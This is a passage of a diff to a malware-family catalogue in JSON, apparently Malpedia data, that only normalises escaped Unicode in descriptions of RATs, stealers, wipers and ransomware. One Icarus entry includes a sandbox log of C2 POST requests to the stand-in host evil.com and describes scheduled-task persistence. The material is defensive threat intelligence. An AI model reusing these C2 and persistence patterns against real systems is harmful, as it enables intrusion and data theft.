of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader" @@ -17923,7 +17923,7 @@ "value": "Carberp" }, { - "description": "Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed \u201cCarp\u201d which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.", + "description": "Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat", @@ -18226,7 +18226,7 @@ "value": "Chaos (Windows)" }, { - "description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim\u2019s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.", + "description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone", @@ -20552,7 +20552,7 @@ "value": "CoViper" }, { - "description": "CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around\r\na core backdoor component. This component can be instructed by the C&C server to download\r\nand execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array\r\nof functionality. Known CozyDuke modules include:\r\n\u2022 Command execution module for executing arbitrary Windows Command Prompt commands\r\n\u2022 Password stealer module\r\n\u2022 NT LAN Manager (NTLM) hash stealer module\r\n\u2022 System information gathering module\r\n\u2022 Screenshot module", + "description": "CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around\r\na core backdoor component. This component can be instructed by the C&C server to download\r\nand execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array\r\nof functionality. Known CozyDuke modules include:\r\n• Command execution module for executing arbitrary Windows Command Prompt commands\r\n• Password stealer module\r\n• NT LAN Manager (NTLM) hash stealer module\r\n• System information gathering module\r\n• Screenshot module", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cozyduke", @@ -21392,7 +21392,7 @@ "value": "Cutwail" }, { - "description": "According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to\r\nthe victim\u2019s system. Attackers can remotely connect to the compromised system from anywhere\r\naround the world. The Malware author generally uses this program to steal private information\r\nlike passwords, files, etc. It might also be used to install malicious software on the compromised\r\nsystems.\r\n", + "description": "According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to\r\nthe victim’s system. Attackers can remotely connect to the compromised system from anywhere\r\naround the world. The Malware author generally uses this program to steal private information\r\nlike passwords, files, etc. It might also be used to install malicious software on the compromised\r\nsystems.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate", @@ -21539,7 +21539,7 @@ "value": "Dairy" }, { - "description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on \u201cquality over quantity\u201d in email-based threats. DanaBot\u2019s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. ", + "description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot", @@ -22037,7 +22037,7 @@ "value": "DarkTequila" }, { - "description": "DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks\u00ae Counter Threat Unit\u2122 (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver \"addon packages\" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.\r\n\r\nFrom January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.", + "description": "DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver \"addon packages\" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.\r\n\r\nFrom January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla", @@ -22539,7 +22539,7 @@ "value": "Dented" }, { - "description": "According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor \u2013 a trick falling under the \u201cPort Monitors\u201d technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the \u201cWindows Default Print Monitor\u201d name; that\u2019s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.\r\n\r\nDePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.", + "description": "According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.\r\n\r\nDePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deprimon", @@ -22593,7 +22593,7 @@ "value": "DeroHE" }, { - "description": " A DLL backdoor also reported publicly as \u201cDerusbi\u201d, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.", + "description": " A DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi", @@ -23026,7 +23026,7 @@ "value": "DMSniff" }, { - "description": "DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a \u201cpolicy\u201d file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.", + "description": "DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy", @@ -23904,7 +23904,7 @@ "value": "DuQu" }, { - "description": "In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named \"DUSTMAN\" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim\u2019s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack \"DUSTMAN\" after the filename and string embedded in the malware. \"DUSTMAN\" can be considered as a new variant of \"ZeroCleare\" malware,\r\npublished in December 2019.", + "description": "In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named \"DUSTMAN\" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim’s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack \"DUSTMAN\" after the filename and string embedded in the malware. \"DUSTMAN\" can be considered as a new variant of \"ZeroCleare\" malware,\r\npublished in December 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman", @@ -24045,7 +24045,7 @@ "value": "EDA2" }, { - "description": "According to Heimdal, Egregor ransomware infection happens via a loader, then, in the victim\u2019s firewall, it enables the Remote Desktop Protocol. After this part, the malware is free to move inside the victim\u2019s network, identifying and disabling all the antivirus software it can find. The next step is the encryption of the data and the insertion of a ransom note named \u201cRECOVER-FILES.txt\u201d in all the compromised folders. ", + "description": "According to Heimdal, Egregor ransomware infection happens via a loader, then, in the victim’s firewall, it enables the Remote Desktop Protocol. After this part, the malware is free to move inside the victim’s network, identifying and disabling all the antivirus software it can find. The next step is the encryption of the data and the insertion of a ransom note named “RECOVER-FILES.txt” in all the compromised folders. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.egregor", @@ -24910,7 +24910,7 @@ "value": "EternalRocks" }, { - "description": "According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims\u2019 computers, servers, or files preventing them from regaining access until a ransom\u2014usually in Bitcoin\u2014is paid.\r\n\r\n", + "description": "According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims’ computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya", @@ -25150,7 +25150,7 @@ "value": "EVILNUM (Windows)" }, { - "description": "A wiper used against in an attack against Iran\u2019s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.", + "description": "A wiper used against in an attack against Iran’s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilplayout", @@ -25685,7 +25685,7 @@ "value": "FFDroider" }, { - "description": "According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we\u2019ll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.", + "description": "According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we’ll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer", @@ -25936,7 +25936,7 @@ "value": "FiveHands" }, { - "description": "According to PICUS, Flagpro is malware that collects information from the victim and executes commands in the victim\u2019s environment. It targets Japan, Taiwan, and English-speaking countries. When a victim is infected with Flagpro malware, the malware can do the following:\r\n\r\nDownload and execute a tool\r\nExecute OS commands and send results\r\nCollect and send Windows authentication information", + "description": "According to PICUS, Flagpro is malware that collects information from the victim and executes commands in the victim’s environment. It targets Japan, Taiwan, and English-speaking countries. When a victim is infected with Flagpro malware, the malware can do the following:\r\n\r\nDownload and execute a tool\r\nExecute OS commands and send results\r\nCollect and send Windows authentication information", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro", @@ -26508,7 +26508,7 @@ "value": "FusionDrive" }, { - "description": "FuwuqiDrama is a server-side RAT. It manages client connections by utilizing I/O completion ports, which are usually used in high-performance server applications as an elegant solution to manage many clients at once.\r\n\r\nIt contains two distinguishing hardcoded lists.\r\n\r\nFirst is a list of ~50 video files of South Korean TV series, having their titles translated to Mandarin Chinese, but encoded in the form of Pinyin romanization. That means the sounds are spelled in Latin alphabet without tone marks, for example meiyounihuobuxiaqu.avi represents Can't Live Without You (a K-drama from 2012) or wulalafufu.avi translates to Ohlala Couple (also from 2012). \r\n\r\nSecond is the list of the following corporations: NVIDIA, Amazon, Intel, Skype, 360Safe, Rising, Tencent, Mozilla, Adobe, Yahoo, Google. The same list is contained in some of the WannaCryptor samples.\r\n\r\nFuwuqiDrama stores its configuration in the INI file data\\package_con_x86.cat. It contains the port number and a bot identifier, all within a single section called Fuwuqi \u2013 the romanized Chinese word for server.\r\n", + "description": "FuwuqiDrama is a server-side RAT. It manages client connections by utilizing I/O completion ports, which are usually used in high-performance server applications as an elegant solution to manage many clients at once.\r\n\r\nIt contains two distinguishing hardcoded lists.\r\n\r\nFirst is a list of ~50 video files of South Korean TV series, having their titles translated to Mandarin Chinese, but encoded in the form of Pinyin romanization. That means the sounds are spelled in Latin alphabet without tone marks, for example meiyounihuobuxiaqu.avi represents Can't Live Without You (a K-drama from 2012) or wulalafufu.avi translates to Ohlala Couple (also from 2012). \r\n\r\nSecond is the list of the following corporations: NVIDIA, Amazon, Intel, Skype, 360Safe, Rising, Tencent, Mozilla, Adobe, Yahoo, Google. The same list is contained in some of the WannaCryptor samples.\r\n\r\nFuwuqiDrama stores its configuration in the INI file data\\package_con_x86.cat. It contains the port number and a bot identifier, all within a single section called Fuwuqi – the romanized Chinese word for server.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama", @@ -26645,7 +26645,7 @@ "value": "Gamotrol" }, { - "description": "GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.\r\n\r\nIn a surprising announcement on May 31, 2019, the GandCrab\u2019s operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there\u2019s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.", + "description": "GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.\r\n\r\nIn a surprising announcement on May 31, 2019, the GandCrab’s operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there’s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab", @@ -27074,7 +27074,7 @@ "value": "GhostAdmin" }, { - "description": "According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan \u201cRemote Access Tool\u201d used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.\r\n\r\nBelow is a list of Gh0st RAT capabilities.\r\nTake full control of the remote screen on the infected bot.\r\nProvide real time as well as offline keystroke logging.\r\nProvide live feed of webcam, microphone of infected host.\r\nDownload remote binaries on the infected remote host.\r\nTake control of remote shutdown and reboot of host.\r\nDisable infected computer remote pointer and keyboard input.\r\nEnter into shell of remote infected host with full control.\r\nProvide a list of all the active processes.\r\nClear all existing SSDT of all existing hooks.", + "description": "According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.\r\n\r\nBelow is a list of Gh0st RAT capabilities.\r\nTake full control of the remote screen on the infected bot.\r\nProvide real time as well as offline keystroke logging.\r\nProvide live feed of webcam, microphone of infected host.\r\nDownload remote binaries on the infected remote host.\r\nTake control of remote shutdown and reboot of host.\r\nDisable infected computer remote pointer and keyboard input.\r\nEnter into shell of remote infected host with full control.\r\nProvide a list of all the active processes.\r\nClear all existing SSDT of all existing hooks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat", @@ -27534,7 +27534,7 @@ "value": "GoldenHelper" }, { - "description": "According securityweek, GoldenSpy, the malware was observed as part of a campaign that supposedly started in April 2020, but some of the identified samples suggest the threat has been around since at least December 2016.\r\n\r\nOne of the compromised organizations, a global technology vendor that conducts government business in the US, Australia and UK, and which recently opened offices in China, became infected after installing \u201cIntelligent Tax,\u201d a piece of software from the Golden Tax Department of Aisino Corporation, which a local bank required for paying local taxes.\r\n\r\nAlthough it worked as advertised, the software was found to install a hidden backdoor to provide remote operators with the possibility to execute Windows commands or upload and run files.", + "description": "According securityweek, GoldenSpy, the malware was observed as part of a campaign that supposedly started in April 2020, but some of the identified samples suggest the threat has been around since at least December 2016.\r\n\r\nOne of the compromised organizations, a global technology vendor that conducts government business in the US, Australia and UK, and which recently opened offices in China, became infected after installing “Intelligent Tax,” a piece of software from the Golden Tax Department of Aisino Corporation, which a local bank required for paying local taxes.\r\n\r\nAlthough it worked as advertised, the software was found to install a hidden backdoor to provide remote operators with the possibility to execute Windows commands or upload and run files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy", @@ -27579,7 +27579,7 @@ "value": "GoldMax" }, { - "description": "GoldDragon was a second-stage backdoor which established a permanent presence on the victim\u2019s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.\r\n\r\nThe malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server. ", + "description": "GoldDragon was a second-stage backdoor which established a permanent presence on the victim’s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.\r\n\r\nThe malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon", @@ -27964,7 +27964,7 @@ "value": "GraphicalNeutrino" }, { - "description": "According to Symantec, Graphican is an evolution of the known APT15 backdoor Ketrican, which itself was based on a previous malware - BS2005 - also used by APT15. Graphican has the same basic functionality as Ketrican, with the difference between them being Graphican\u2019s use of the Microsoft Graph API and OneDrive to obtain its command-and-control (C&C) infrastructure.", + "description": "According to Symantec, Graphican is an evolution of the known APT15 backdoor Ketrican, which itself was based on a previous malware - BS2005 - also used by APT15. Graphican has the same basic functionality as Ketrican, with the difference between them being Graphican’s use of the Microsoft Graph API and OneDrive to obtain its command-and-control (C&C) infrastructure.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican", @@ -28043,7 +28043,7 @@ "value": "GraphSteel" }, { - "description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card\u2019s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system\u2019s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.", + "description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos", @@ -29787,7 +29787,7 @@ "value": "Icarus" }, { - "description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If \u201c/i\u201d is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If \u201c/I\u201d is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2", + "description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html 